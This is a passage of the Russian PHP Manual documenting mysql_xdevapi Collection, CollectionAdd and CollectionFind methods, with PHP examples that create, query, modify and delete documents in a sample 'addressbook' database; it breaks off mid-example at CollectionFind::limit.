
(Информация о версии неизвестна, возможно, только в Git)

Collection::dropIndex — Удаляет индекс коллекции

Описание

public mysql_xdevapi\Collection::dropIndex(string $index_name): bool

Удаляет индекс коллекции.

Данная операция не приведёт к возникновению ошибки, если индекс не существует, но в этом случае вернётся false.

Список параметров

index_name

Имя индекса коллекции для удаления.

Возвращаемые значения

true, если операция DROP INDEX выполнена успешно, false в противном случае.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::dropIndex()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

// ...

$collection = $schema->getCollection("people");

$collection->createIndex(
'myindex',
'{"fields": [{"field": "$.name", "type": "TEXT(25)", "required": true}], "unique": false}'
);

// ...

if ($collection->dropIndex('myindex')) {
echo "Индекс с названием 'myindex' был найден и удалён.";
}
?>

Результат выполнения данного примера:

Индекс с названием 'myindex' был найден и удалён.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли коллекция в базе данных

  • « Collection::dropIndex
  • Collection::find »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Проверяет, существует ли коллекция в базе данных

Collection::existsInDatabase

(Информация о версии неизвестна, возможно, только в Git)

Collection::existsInDatabase — Проверяет, существует ли коллекция в базе данных

Описание

public mysql_xdevapi\Collection::existsInDatabase(): bool

Проверяет, ссылается ли объект Collection на коллекцию в базе данных (схему).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true если коллекция существует в базе данных, иначе false если это не так.

Таблица, определённая двумя столбцами (doc и _id), считается коллекцией, и третьим столбцом _json_schema с MySQL 8.0.21. Добавление дополнительного столбца означает, что existsInDatabase() больше не будет видеть его как коллекцию.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::existsInDatabase()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

// ...

$collection = $schema->getCollection("people");

// ...

if (!$collection->existsInDatabase()) {
echo "Коллекция с именем addressbook не существует в базе данных. Что случилось?";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Ищет документ

  • « Collection::existsInDatabase
  • Collection::getName »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Ищет документ

Collection::find

(Информация о версии неизвестна, возможно, только в Git)

Collection::find — Ищет документ

Описание

public mysql_xdevapi\Collection::find(string $search_condition = ?): mysql_xdevapi\CollectionFind

Ищет документ или набор документов в коллекции базы данных. Найденные документы возвращаются в виде объекта CollectionFind, из которого в дальнейшем можно извлекать результаты или изменять их.

Список параметров

search_condition

Хотя это необязательно, обычно определяется условие, сужающее результаты до подмножества документов.

Условие могут составлять несколько элементов, синтаксис поддерживает привязку параметров. Выражение, используемое в качестве условия поиска, должно быть допустимым выражением SQL. Если условие поиска не указано (поле пустое), подразумевается find('true').

Возвращаемые значения

Объект CollectionFind для проверки операции или получения найденных документов.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::find()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Альфред", "age": 18, "job": "Дворецкий"}')->execute();
$collection->add('{"name": "Боб", "age": 19, "job": "Пловец"}')->execute();
$collection->add('{"name": "Фред", "age": 20, "job": "Строитель"}')->execute();
$collection->add('{"name": "Уилма", "age": 21, "job": "Учитель"}')->execute();
$collection->add('{"name": "Джон", "age": 22, "job": "Учитель"}')->execute();

$find = $collection->find('job LIKE :job AND age > :age');
$result = $find
->bind(['job' => 'Учитель', 'age' => 20])
->sort('age DESC')
->limit(2)
->execute();

print_r($result->fetchAll());
?>

Результат выполнения данного примера:

Array
(
    [0] => Array
        (
            [_id] => 00005b6b536100000000000000a8
            [age] => 22
            [job] => Учитель
            [name] => Джон
        )
    [1] => Array
        (
            [_id] => 00005b6b536100000000000000a7
            [age] => 21
            [job] => Учитель
            [name] => Уилма
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получает название коллекции

  • « Collection::find
  • Collection::getOne »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Получает название коллекции

Collection::getName

(Информация о версии неизвестна, возможно, только в Git)

Collection::getName — Получает название коллекции

Описание

public mysql_xdevapi\Collection::getName(): string

Получает название коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Название коллекции в виде строки.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::getName()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

// ...

var_dump($collection->getName());
?>

Результатом выполнения данного примера будет что-то подобное:

string(6) "people"

User Contributed Notes

There are no user contributed notes for this page.


Получает один документ

  • « Collection::getName
  • Collection::getSchema »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Получает один документ

Collection::getOne

(Информация о версии неизвестна, возможно, только в Git)

Collection::getOne — Получает один документ

Описание

public mysql_xdevapi\Collection::getOne(string $id): Document

Выбирает один документ из коллекции.

Это краткая запись для: Collection.find("_id = :id").bind("id", id).execute().fetchOne();

Список параметров

id

_id документа в коллекции.

Возвращаемые значения

Объект коллекции или null, если _id не соответствует документу.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::getOne()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 42, "job": "Butler"}')->execute();

// Уникальный _id (по умолчанию и рекомендуется) генерируется MySQL Server
// Возвращает сгенерированные _id; в этом примере только одна запись, поэтому $ids[0]
$ids = $result->getGeneratedIds();
$alfreds_id = $ids[0];

// ...

print_r($alfreds_id);
print_r($collection->getOne($alfreds_id));
?>

Результатом выполнения данного примера будет что-то подобное:

00005b6b536100000000000000b1

Array
(
    [_id] => 00005b6b536100000000000000b1
    [age] => 42
    [job] => Butler
    [name] => Alfred
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект Schema

  • « Collection::getOne
  • Collection::getSession »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Возвращает объект Schema

Collection::getSchema

(Информация о версии неизвестна, возможно, только в Git)

Collection::getSchema — Возвращает объект Schema

Описание

public mysql_xdevapi\Collection::getSchema(): Schema Object

Возвращает объект Schema, содержащий коллекцию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Schema в случае успешного выполнения или null, если объект не может быть возвращён для данной коллекции.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::getSchema()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

var_dump($collection->getSchema());
?>

Результатом выполнения данного примера будет что-то подобное:

object(mysql_xdevapi\Schema)#9 (1) {
  ["name"]=>
  string(11) "addressbook"
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект Session

  • « Collection::getSchema
  • Collection::modify »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Возвращает объект Session

Collection::getSession

(Информация о версии неизвестна, возможно, только в Git)

Collection::getSession — Возвращает объект Session

Описание

public mysql_xdevapi\Collection::getSession(): Session

Возвращает новый объект Session из объекта Collection.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Session.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::getSession()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

// ...

$newsession = $collection->getSession();

var_dump($session);
var_dump($newsession);
?>

Результатом выполнения данного примера будет что-то подобное:

object(mysql_xdevapi\Session)#1 (0) {
}
object(mysql_xdevapi\Session)#4 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Изменяет документы коллекции

  • « Collection::getSession
  • Collection::remove »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Изменяет документы коллекции

Collection::modify

(Информация о версии неизвестна, возможно, только в Git)

Collection::modify — Изменяет документы коллекции

Описание

public mysql_xdevapi\Collection::modify(string $search_condition): mysql_xdevapi\CollectionModify

Изменяет коллекции, соответствующие определённым условиям поиска. Разрешены несколько операций, поддерживается привязка параметров.

Список параметров

search_condition

Параметр должен быть допустимым выражением SQL, используемым для соответствия документам, которые нужно изменить. Это выражение может быть простым значением true, что соответствует всем документам, или может использовать функции и операторы, такие как 'CAST(_id AS SIGNED) >= 10', 'age MOD 2 = 0 OR age MOD 3 = 0' или '_id IN ["2","5","7","10"]'.

Возвращаемые значения

Если операция не выполнена, функция вернёт объект Modify, который можно использовать для добавления дополнительных операций MODIFY.

Если операция MODIFY выполнена, то возвращаемый объект будет содержать результат операции.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::modify()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Альфред", "age": 18, "job": "Дворецкий"}')->execute();
$collection->add('{"name": "Боб", "age": 19, "job": "Художник"}')->execute();

// Добавление двух работ для всех художников: артист и мастер
$collection
->modify("job in ('Дворецкий', 'Художник')")
->arrayAppend('job', 'Артист')
->arrayAppend('job', 'Мастер')
->execute();

// Удаление поля 'beer' из всех документов с возрастом 21
$collection
->modify('age < 21')
->unset(['beer'])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Удаляет документы коллекции

  • « Collection::modify
  • Collection::removeOne »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Удаляет документы коллекции

Collection::remove

(Информация о версии неизвестна, возможно, только в Git)

Collection::remove — Удаляет документы коллекции

Описание

public mysql_xdevapi\Collection::remove(string $search_condition): mysql_xdevapi\CollectionRemove

Удаляет коллекции, которые соответствуют определённым условиям поиска. Допускается несколько операций и поддерживается привязка параметров.

Список параметров

search_condition

Должно быть корректным выражением SQL, используемым для сопоставления документов, которые нужно изменить. Выражение может быть таким же простым, как true, которое соответствует всем документам, или оно может использовать функции и операторы, такие как 'CAST(_id AS SIGNED) >= 10', 'age MOD 2 = 0 OR age MOD 3 = 0', или '_id IN ["2","5","7","10"]'.

Возвращаемые значения

Если операция не выполнена, функция вернёт объект Remove, который можно использовать для добавления дополнительных операций удаления.

Если операция удаления выполнена, то возвращённый объект будет содержать результат операции.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::remove()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob", "age": 19, "job": "Painter"}')->execute();

// Удаление всех художников
$collection
->remove("job in ('Painter')")
->execute();

// Удаление самого старого дворецкого
$collection
->remove("job in ('Butler')")
->sort('age desc')
->limit(1)
->execute();

// Удаление записи с самым низким возрастом
$collection
->remove('true')
->sort('age desc')
->limit(1)
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Удаляет один документ из коллекции

  • « Collection::remove
  • Collection::replaceOne »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Удаляет один документ из коллекции

Collection::removeOne

(Информация о версии неизвестна, возможно, только в Git)

Collection::removeOne — Удаляет один документ из коллекции

Описание

public mysql_xdevapi\Collection::removeOne(string $id): mysql_xdevapi\Result

Удаляет один документ из коллекции с соответствующим идентификатором. Сокращённая запись для Collection.remove("_id = :id").bind("id", id).execute().

Список параметров

id

Идентификатор документа коллекции, который нужно удалить. Обычно это _id, который был сгенерирован MySQL Server при добавлении записи.

Возвращаемые значения

Объект Result, который можно использовать для запроса количества затронутых элементов или количества предупреждений, сгенерированных операцией.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::removeOne()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();

// Обычно _id известен другими способами,
// но для этого примера давайте извлечём сгенерированный идентификатор и используем его
$ids = $result->getGeneratedIds();
$alfred_id = $ids[0];

$result = $collection->removeOne($alfred_id);

if(!$result->getAffectedItemsCount()) {
echo "Alfred с идентификатором $alfred_id не был удален.";
} else {
echo "До свидания, Alfred, ты можешь взять с собой _id $alfred_id.";
}
?>

Результатом выполнения данного примера будет что-то подобное:

До свидания, Alfred, ты можешь взять с собой _id 00005b6b536100000000000000cb.

User Contributed Notes

There are no user contributed notes for this page.


Заменяет один документ коллекции

  • « Collection::removeOne
  • mysql_xdevapi\CollectionAdd »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Заменяет один документ коллекции

Collection::replaceOne

(Информация о версии неизвестна, возможно, только в Git)

Collection::replaceOne — Заменяет один документ коллекции

Описание

public mysql_xdevapi\Collection::replaceOne(string $id, string $doc): mysql_xdevapi\Result

Обновляет (или заменяет) документ, по идентификатору, если он существует.

Список параметров

id

Идентификатор документа для замены или обновления. Обычно это _id, который был сгенерирован MySQL Server при добавлении записи.

doc

Документ коллекции для обновления или замены документа, соответствующего параметру id.

Документ может быть либо объектом документа, либо корректной строкой JSON, описывающей новый документ.

Возвращаемые значения

Объект Result, который можно использовать для запроса количества затронутых элементов и количества предупреждений, сгенерированных операцией.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::replaceOne()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();

// Обычно _id известен другими способами,
// но для этого примера давайте извлечём сгенерированный идентификатор и используем его
$ids = $result->getGeneratedIds();
$alfred_id = $ids[0];

// ...

$alfred = $collection->getOne($alfred_id);
$alfred['age'] = 81;
$alfred['job'] = 'Guru';

$collection->replaceOne($alfred_id, $alfred);

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс CollectionAdd

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\CollectionAdd implements mysql_xdevapi\Executable {
/* Методы */
public execute(): mysql_xdevapi\Result
}

Содержание

  • CollectionAdd::__construct — Конструктор класса CollectionAdd
  • CollectionAdd::execute — Выполняет утверждение

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса CollectionAdd

  • « mysql_xdevapi\CollectionAdd
  • CollectionAdd::execute »
  • PHP Manual
  • mysql_xdevapi\CollectionAdd
  • Конструктор класса CollectionAdd

CollectionAdd::__construct

(Информация о версии неизвестна, возможно, только в Git)

CollectionAdd::__construct — Конструктор класса CollectionAdd

Описание

private mysql_xdevapi\CollectionAdd::__construct()

Используется для добавления документа в коллекцию; вызывается из объекта Collection.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionAdd::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// Добавляем два документа
$collection
->add('{"name": "Fred", "age": 21, "job": "Construction"}')
->execute();

$collection
->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')
->execute();

// Добавляем два документа, используя один объект JSON
$result = $collection
->add(
'{"name": "Bernie",
"jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}')
->execute();

// Получаем список сгенерированных идентификаторов из последнего выполнения add()
$ids = $result->getGeneratedIds();
print_r($ids);

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 00005b6b53610000000000000056
    [1] => 00005b6b53610000000000000057
)

Примечания

Замечание:

MySQL Server 8.0 или выше генерирует уникальный _id, как показано в примере. Поле _id должно быть определено вручную, если используется MySQL Server 5.7.

User Contributed Notes

There are no user contributed notes for this page.


Выполняет утверждение

  • « CollectionAdd::__construct
  • mysql_xdevapi\CollectionFind »
  • PHP Manual
  • mysql_xdevapi\CollectionAdd
  • Выполняет утверждение

CollectionAdd::execute

(Информация о версии неизвестна, возможно, только в Git)

CollectionAdd::execute — Выполняет утверждение

Описание

public mysql_xdevapi\CollectionAdd::execute(): mysql_xdevapi\Result

Метод execute необходим для отправки запроса операции CRUD на сервер MySQL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Result, который можно использовать для проверки состояния операции, например, количества затронутых строк.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionAdd::execute()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// Добавляем два документа
$collection
->add('{"name": "Fred", "age": 21, "job": "Construction"}')
->execute();

$collection
->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')
->execute();

// Добавляем два документа, используя один объект JSON
$result = $collection
->add(
'{"name": "Bernie",
"jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}')
->execute();

// Получаем список сгенерированных идентификаторов из последнего выполнения add()
$ids = $result->getGeneratedIds();
print_r($ids);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 00005b6b53610000000000000056
    [1] => 00005b6b53610000000000000057
)

User Contributed Notes

There are no user contributed notes for this page.


Класс CollectionFind

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\CollectionFind implements mysql_xdevapi\Executable, mysql_xdevapi\CrudOperationBindable, mysql_xdevapi\CrudOperationLimitable, mysql_xdevapi\CrudOperationSortable {
/* Методы */
public bind(array $placeholder_values): mysql_xdevapi\CollectionFind
public execute(): mysql_xdevapi\DocResult
public fields(string $projection): mysql_xdevapi\CollectionFind
public groupBy(string $sort_expr): mysql_xdevapi\CollectionFind
public having(string $sort_expr): mysql_xdevapi\CollectionFind
public limit(int $rows): mysql_xdevapi\CollectionFind
public lockExclusive(int $lock_waiting_option = ?): mysql_xdevapi\CollectionFind
public lockShared(int $lock_waiting_option = ?): mysql_xdevapi\CollectionFind
public offset(int $position): mysql_xdevapi\CollectionFind
public sort(string $sort_expr): mysql_xdevapi\CollectionFind
}

Содержание

  • CollectionFind::bind — Привязывает значение к заполнителю запроса
  • CollectionFind::__construct — Конструктор класса CollectionFind
  • CollectionFind::execute — Выполняет утверждение
  • CollectionFind::fields — Устанавливает фильтр поля документа
  • CollectionFind::groupBy — Устанавливает критерии группировки
  • CollectionFind::having — Устанавливает условие для агрегатных функций
  • CollectionFind::limit — Ограничивает количество возвращаемых документов
  • CollectionFind::lockExclusive — Выполняет операцию с EXCLUSIVE LOCK
  • CollectionFind::lockShared — Выполняет операцию с SHARED LOCK
  • CollectionFind::offset — Пропускает указанное количество возвращаемых элементов
  • CollectionFind::sort — Устанавливает критерии сортировки

User Contributed Notes

There are no user contributed notes for this page.


Привязывает значение к заполнителю запроса

  • « mysql_xdevapi\CollectionFind
  • CollectionFind::__construct »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Привязывает значение к заполнителю запроса

CollectionFind::bind

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::bind — Привязывает значение к заполнителю запроса

Описание

public mysql_xdevapi\CollectionFind::bind(array $placeholder_values): mysql_xdevapi\CollectionFind

Позволяет пользователю привязать параметр к заполнителю в условии поиска операции поиска. Заполнитель имеет вид :NAME, где ':' - это общий префикс, который должен всегда существовать перед любым NAME, NAME - фактическое имя заполнителя. Функция bind принимает список заполнителей, если в условии поиска необходимо заменить несколько объектов.

Список параметров

placeholder_values

Значения для подстановки в условиях поиска; допускается несколько значений, которые передаются в виде массива, где "PLACEHOLDER_NAME => PLACEHOLDER_VALUE".

Возвращаемые значения

Объект CollectionFind, или цепочка с execute() для возврата объекта Result.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionFind::bind()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$result = $create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->execute();

var_dump($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000cf"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса CollectionFind

  • « CollectionFind::bind
  • CollectionFind::execute »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Конструктор класса CollectionFind

CollectionFind::__construct

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::__construct — Конструктор класса CollectionFind

Описание

private mysql_xdevapi\CollectionFind::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования CollectionFind

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$result = $create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->execute();

var_dump($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000cf"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Выполняет утверждение

  • « CollectionFind::__construct
  • CollectionFind::fields »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Выполняет утверждение

CollectionFind::execute

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::execute — Выполняет утверждение

Описание

public mysql_xdevapi\CollectionFind::execute(): mysql_xdevapi\DocResult

Выполняет операцию поиска; эта функциональность разрешена для цепочки методов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект DocResult, из которого можно получить результаты или запросить состояние операции.

Примеры

Пример #1 Пример использования CollectionFind

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->execute();

var_dump($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000cf"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает фильтр поля документа

  • « CollectionFind::execute
  • CollectionFind::groupBy »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Устанавливает фильтр поля документа

CollectionFind::fields

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::fields — Устанавливает фильтр поля документа

Описание

public mysql_xdevapi\CollectionFind::fields(string $projection): mysql_xdevapi\CollectionFind

Определяет столбцы для запроса, которые нужно вернуть. Если не определено, то возвращаются все столбцы.

Список параметров

projection

Может быть одной строкой или массивом строк, эти строки определяют столбцы, которые должны быть возвращены для каждого документа, соответствующего условию поиска.

Возвращаемые значения

Объект CollectionFind, который можно использовать для дальнейшей обработки.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionFind::fields()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->fields('name')
->execute();

var_dump($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(1) {
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает критерии группировки

  • « CollectionFind::fields
  • CollectionFind::having »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Устанавливает критерии группировки

CollectionFind::groupBy

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::groupBy — Устанавливает критерии группировки

Описание

public mysql_xdevapi\CollectionFind::groupBy(string $sort_expr): mysql_xdevapi\CollectionFind

Функция может использоваться для группировки набора результатов по ещё одному столбцу, часто это используется с агрегатными функциями, такими как COUNT,MAX,MIN,SUM и т.д.

Список параметров

sort_expr

Столбец или столбцы, которые должны использоваться для операции группировки, это может быть либо одна строка, либо массив строковых аргументов, по одному для каждого столбца.

Возвращаемые значения

Объект CollectionFind, который можно использовать для дальнейшей обработки.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionFind::groupBy()

<?php

//Предполагая, что $coll является корректным объектом Collection

//Извлекает все документы из коллекции и группирует результаты по полю 'name'
$res = $coll->find()->groupBy('name')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает условие для агрегатных функций

  • « CollectionFind::groupBy
  • CollectionFind::limit »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Устанавливает условие для агрегатных функций

CollectionFind::having

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::having — Устанавливает условие для агрегатных функций

Описание

public mysql_xdevapi\CollectionFind::having(string $sort_expr): mysql_xdevapi\CollectionFind

Функция может использоваться после операции 'field', чтобы сделать выборку документов для извлечения.

Список параметров

sort_expr

Должно быть корректное выражение SQL, разрешено использование агрегатных функций.

Возвращаемые значения

Объект CollectionFind, который можно использовать для дальнейшей обработки.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionFind::having()

<?php

//Предполагая, что $coll является корректным объектом Collection

//Найти все документы, у которых 'age' больше 40,
//В объекте Result возвращаются только столбцы 'name' и 'age'.
$res = $coll->find()->fields(['name','age'])->having('age > 40')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Ограничивает количество возвращаемых документов

  • « CollectionFind::having
  • CollectionFind::lockExclusive »
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Ограничивает количество возвращаемых документов

CollectionFind::limit

(Информация о версии неизвестна, возможно, только в Git)

CollectionFind::limit — Ограничивает количество возвращаемых документов

Описание

public mysql_xdevapi\CollectionFind::limit(int $rows): mysql_xdevapi\CollectionFind

Устанавливает максимальное количество документов для возврата.

Список параметров

rows

Максимальное количество документов.

Возвращаемые значения

Объект CollectionFind, который можно использовать для дополнительной обработки; цепочка с методом execute() для возврата объекта DocResult.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionFind::limit()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();
$create
->add('{"name": "Reginald", "age": 42, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->limit(1)
->execute();

